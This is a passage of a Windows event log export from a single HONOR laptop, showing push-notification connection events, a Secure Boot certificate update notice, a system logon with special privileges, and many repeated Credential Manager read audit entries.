Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:59.123\t1808\t\"This device has updated Secure Boot CA/keys. This device signature information is included here.\nDeviceAttributes: BaseBoardManufacturer:HONOR;OEMModelNumber:FRG-X;OEMModelBaseBoard:FRG-X-PCB;OEMManufacturerName:HONOR;FirmwareVersion:2.03;OSArchitecture:amd64;\nBucketId: 2b1354b7771d78c79e9e89aa0f38e845e4df59f22f64c8dd0ede9c278c781587\nBucketConfidenceLevel: High Confidence\nUpdateType: Windows UEFI CA 2023 (DB), Option ROM CA 2023 (DB), 3P UEFI CA 2023 (DB), KEK 2023, Boot Manager (2023)\nFor more information, please see https://go.microsoft.com/fwlink/?linkid=2301018.\"\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:33:59.223\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:34:04.296\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.296\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.296\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.304\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:05.474\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.474\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.507\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.508\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.508\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.512\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x18280 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.563\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.413\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.416\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.420\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.425\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.425\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 